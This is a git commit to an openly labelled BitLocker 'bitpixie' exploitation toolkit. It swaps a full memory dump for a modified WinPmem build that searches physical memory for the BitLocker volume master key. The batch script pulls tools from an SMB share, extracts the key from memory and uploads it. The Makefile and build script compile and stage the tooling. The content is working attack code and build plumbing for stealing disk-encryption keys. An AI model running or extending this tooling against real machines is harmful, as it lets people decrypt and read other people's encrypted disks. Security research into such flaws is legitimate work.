winpe: use modified version of WinPmem instead of DumpIt

This does not perform a full memory dump, but instead searches
incrementally and stops after the first match.
This commit is contained in:
Marc André Tanner
2025-03-18 21:09:56 +01:00
parent 1148128d17
commit 66b9fa2a3c
3 changed files with 44 additions and 18 deletions
+8 -2
View File
@@ -13,6 +13,7 @@ GRUB = ${TFTP}/grubx64.efi
BOOT_SDI = ${TFTP}/Boot/boot.sdi
BOOT_WIM = ${TFTP}/Boot/boot.wim
DUMPIT_EXE = ${SMB}/winpe/DumpIt.exe
WINPMEM_EXE = ${SMB}/winpe/winpmem.exe
SEARCH_VMK_EXE = ${SMB}/winpe/search-vmk.exe
DISLOCKER_METADATA_EXE = ${SMB}/winpe/dislocker-metadata.exe
@@ -31,7 +32,7 @@ ${SHIM} ${GRUB}:
docker run --platform linux/amd64 --rm -v "${PWD}/linux/bootloader:/build" -v "${PXE}":/mnt -w /root \
alpine:3.20.3 "/build/download.sh"
winpe: ${BOOT_SDI} ${BOOT_WIM} ${DUMPIT_EXE} ${SEARCH_VMK_EXE} ${DISLOCKER_METADATA_EXE}
winpe: ${BOOT_SDI} ${BOOT_WIM} ${WINPMEM_EXE} ${SEARCH_VMK_EXE} ${DISLOCKER_METADATA_EXE}
@echo "Building WinPE based bitpixie exploitation components..."
${BOOT_SDI} ${BOOT_WIM}:
@@ -39,6 +40,11 @@ ${BOOT_SDI} ${BOOT_WIM}:
docker run --platform linux/amd64 --rm -v "${PWD}/winpe:/build" -v "${PXE}":/mnt -w /root \
alpine:3.20.3 "/build/download-winpe.sh"
${WINPMEM_EXE}:
@echo "Bulding $@..."
docker run --platform linux/amd64 --rm -v "${PWD}/winpe:/build" -v "${PXE}":/mnt -w /root \
alpine:3.20.3 "/build/build-winpmem.sh"
${DUMPIT_EXE}:
@echo "Please download Magnet DumpIt for Windows"
@echo "\n https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/\n"
@@ -57,6 +63,6 @@ ${DISLOCKER_METADATA_EXE}:
clean:
@rm -f "${SHIM}" "${GRUB}" "${KERNEL}" "${INITRAMFS}"
@rm -f "${BOOT_SDI}" "${BOOT_WIM}" "${SEARCH_VMK_EXE}" "${DISLOCKER_METADATA_EXE}"
@rm -f "${BOOT_SDI}" "${BOOT_WIM}" "${WINPMEM_EXE}" "${SEARCH_VMK_EXE}" "${DISLOCKER_METADATA_EXE}"
.PHONY: all linux winpe clean
+8 -16
View File
@@ -11,20 +11,10 @@ if "%~1"=="" (
set "SERVER=%~1"
if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
:: Get the current drive letter
set "CURR_DRIVE=%CD:~0,2%"
:: Check if the drive is X:\
if /I "%CURR_DRIVE%"=="X:" (
echo Error: Current directory is on ramdisk X:\ drive.
echo Error: Switch to USB drive having enough space to dump complete RAM
fsutil fsinfo drives
exit /b 1
)
echo Downloading tools
copy /Y "%SERVER%\winpe\DumpIt.exe" .
:: copy /Y "%SERVER%\winpe\DumpIt.exe" .
copy /Y "%SERVER%\winpe\winpmem.exe" .
copy /Y "%SERVER%\winpe\search-vmk.exe" .
copy /Y "%SERVER%\winpe\dislocker-metadata.exe" .
@@ -32,12 +22,14 @@ echo.
echo Dumping physical memory
for /f %%H in ('hostname') do set HOSTNAME=%%H
DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
echo.
echo Searching VMK in memory dump
:: DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
:: echo.
:: echo Searching VMK in memory dump
::
:: search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
winpmem.exe -K "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
echo.
echo Uploading VMK
+28
View File
@@ -0,0 +1,28 @@
#!/bin/sh
set -e
__() { printf "\n\033[1;32m* %s [%s]\033[0m\n" "$1" "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"; }
__ "Installing required tools"
apk add make cmake mingw-w64-gcc
__ "Getting WinPmem source"
wget "https://github.com/martanne/WinPmem-BitLocker/archive/1e8ad783862e76b72aa17c0e0937bed6776cb442.tar.gz" -O winpmem.tar.gz \
&& echo '30279694816d75f4af2e51932b85512723945ccadd2e2e58fffecbc42f1b77a3 winpmem.tar.gz' \
| sha256sum -c || exit 1
tar xf winpmem.tar.gz && cd WinPmem-*
__ "Building WinPmem"
cd src/executable
iconv -f UTF-16LE -t UTF-8 winpmem.rc > winpmem.utf8.rc
sed -i 's,\\\\,/,g' winpmem.utf8.rc
x86_64-w64-mingw32-windres winpmem.utf8.rc -O coff -o resources.o
x86_64-w64-mingw32-g++ -DUNICODE -D_UNICODE -municode -mconsole -static main.cpp winpmem.cpp resources.o -o winpmem
__ "Copying artifacts to SMB directory"
cp winpmem.exe /mnt/smb/winpe